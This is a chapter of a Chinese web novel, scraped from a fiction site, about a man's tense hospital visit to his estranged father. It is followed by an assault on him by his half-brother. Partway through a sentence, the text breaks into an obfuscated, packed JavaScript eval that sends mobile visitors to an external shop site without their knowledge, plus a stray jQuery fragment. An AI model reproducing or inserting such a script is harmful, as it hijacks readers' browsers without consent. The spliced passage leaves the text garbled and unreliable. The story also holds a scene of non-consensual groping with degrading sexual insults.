文趣网 > 都市小说 > 舌痕 > 57.Page56
    庄小沢坐在客厅喝那盅温度刚刚好的冰糖雪梨时,手机亮了一下,庄樟林用短信把地址发过来了。

    许存问:“要去?”

    庄小沢:“去看看也无所谓。”

    许存担心他太累,也跟着他出门,开车把他送到医院。

    到医院楼下了,车停住,许存替他解开安全带:“回来记得打电话叫我。”

    庄小沢伸手摸了摸他后脑勺的头发,应了声:“嗯。”

    庄小沢刚下车,就看见靠在医院门口的人。

    庄樟林变化不大,剪了短发,比以前利落不少,不过还是一样喜欢装模作样。

    庄小沢只看他一眼,就收回视线。

    庄樟林在打量他,从他下车开始,一直到庄小沢真正在他面前站定。

    庄小沢依然还是漂亮。

    和青少年时期仅仅是皮囊雌雄莫辨的漂亮不一样,过往庄小沢迷人总迷人在张扬的攻击性,他成年后,倒把攻击性收敛了许多,淡而不冷。

    庄樟林突然想起电话那头替庄小沢接了电话的那个男人。

    他心知自己主动寒暄只会惹庄小沢烦,只是说:“这边。”

    接着,他们两个谁也没有说什么,一路沉默着上了病房。

    打开病房的门。

    女人听见声音,回头。

    “小沢来了啊。”她刚喂床上的男人喝了水,放下杯子,替他整理整理衣服,笑得很温柔。

    庄小沢比过往成熟体面了些,点了点头表示,算是打招呼了。

    “你们父子俩也很久没见了,有话都好好说。”孟芸起身,走过来轻轻拍庄小沢的肩膀,“我和樟林就先出去了。”

    庄小沢垂眸,依旧冷淡,“嗯。”

    旁边一直没出声的庄樟林看了眼庄小沢,才跟在孟芸身后离开病房。

    庄致学到了今天的地位,住的单人病房体面宽敞,别人探病带来的瓜果鲜花摆满了病房,也说得上有面。

    “还不坐下,等什么?”

    男人一如既往的教训的口吻,只是岁月不饶人,这几年衰老得越发严重,鬓边白发越来越明显,显出老态。

    庄小沢瞥了他一眼,说:“不用,我很快就走。”

    “你说什么?”

    庄小沢耐心解释:“庄樟林说你手里有东西给我,我拿了就走。”

    庄致学被气笑:“你这是当儿子该说的话吗?当初……”

    庄小沢打断他:“您也没有做到一个父亲该做的责任。”

    “至少在我这里是。”

    庄小沢冷声:“我和您没什么好谈的,说下去只会起冲突。”

    “既然您不是真的要给,那我也没什么好留的,”他往门外走去,只给男人留了一个背影,“告辞。”

    *

    庄小沢走下一楼时,庄樟林从后面追上来。

    “哥,爸让我把东西给你。”

    庄小沢停下脚步,回头看他。

    “在我车上。”

    庄小沢没说话,只是用眼神示意他带路。

    庄樟林把他带到车子旁边,在车里拿出个东西,递给庄小沢。

    一串钥匙。

    “听说是当初爸和徐姨度蜜月时买的一幢小别墅,名字挂的是她的。”

    庄小沢沉默地接过。

    他记得这个地方。

    他年纪还小时,暑假常去那个地方。

    真讽刺。

    庄樟林踌躇:“……你真的决定再也不回来了?爸他……”

    庄小沢突然轻声说:“你知道我为什么讨厌你吗?”

    庄樟林喉头发紧。

    “……对不起。”

    “不是因为那件事,我没脆弱到那么多年都对它耿耿于怀,它还不至于。”

    他抬眼看庄樟林,语气里没有嫌恶,只是说出事实,很平静:“因为你说出来的话从来都不是你自己想说的。”

    “你连自己想要什么东西都不敢说出口吗?”

    “真可悲。”

    我可悲吗?庄樟林想。

    可悲的不是你吗?

    庄小沢离开这几年,庄致学越来越看重他,手里的资源都在给他牵线搭桥,刚才庄小沢在病房大闹一场,庄致学已经彻底放弃他了。

    他达成目的了。他一直梦寐以求的这一刻终于来了。

    庄小沢已经输得毫无圜转。

    不仅如此,背地里依旧和男人厮混在一起,见不得光。

    可悲的到底是谁?

    想法充斥大脑,庄樟林自己也不知道自己在做什么。

    身后的车门还没关上,庄樟林一把扯住庄小沢,把他推到车里面。

    “你做什么!”

    庄小沢的声音带着怒气。

    他对那个男人也这样吗?庄樟林出奇地平淡,俯下身,任由自己的影子将庄小沢覆盖。

    他越靠越近,庄小沢不舒服地皱起眉,抬起膝盖就要踹他。庄樟林锻炼过,反射神经很

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728051|205612||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    好,一把就摁住他的大腿。

    “……哥,”他的眼睛直直地盯着庄小沢,停车场昏暗,眼睛里反射出一种神经质的光,“其实我也挺讨厌你的。”

    庄小沢眼睛里闪过了然的嘲讽,庄樟林捏着他的下颌不让他说那些伤人的话。

    “不对。”

    庄樟林自言自语一般:“我恨你。”

    恨。

    像找到了这么多年反反复复不得其法谜题的出口,庄樟林看着那张脸,心里泛起一种狠厉的畅快。

    恨得想要亲手毁掉庄小沢,把他彻底打碎。

    让那颗高傲的头颅再也抬不起来。

    身下庄小沢的温度比梦里更温热,更柔软。

    这不是梦。

    “我不敢说吗?”庄樟林低笑,“我敢说啊,哥,你敢听吗?”

    他没打算要庄小沢回话,还是紧紧捏着庄小沢下颌。

    他的手摸进去,庄小沢瞳孔缩小,挺直脊背,像僵直的鱼。

    “男人的滋味有那么好吗?”他问,“你知道不知道,人家都看得出来。”

    “你看上去就是被男人操上瘾了。”

    “哥,你好贱。”

    庄小沢只觉得他在发疯,被他摸得很恶心,咬牙切齿:“滚……开。”

    他生气了。

    是因为我。

    庄樟林很兴奋,眼里的光更亮,更怨毒。

    他的喉结滚动。

    眼前灯光一闪。

    一辆车在不远处停下,就停在路中间。

    车灯都没关,车门被猛地打开,脚步声充满愤怒,男人很快走到庄樟林身后,抓着他的肩一甩,将他拉出来,紧接着——

    狠狠地一拳砸在庄樟林的脸上。

    庄樟林被打得踉跄后退。

    许存满脸狠戾,走上去,接着打。

    庄樟林也不是省油的灯,反应过来后,也开始还手,狂暴地和许存扭打在一起。

    两个男人都失去了理智,犹如斗兽场里只剩下厮杀冲动的两头雄兽。

    庄小沢缓缓坐起身,看见这一幕,觉得更疲惫。

    “许存,”他叫得很小声,“我累了。”

    他知道许存听得见。

    果然,许存踹开庄樟林后,没再管他,走过去来,抱起庄小沢。

    “我们回家。”

    庄小沢靠在他怀里,熟悉的气息让他刚才一直悬空的心找到了落脚点,缓缓落下。

    “嗯。”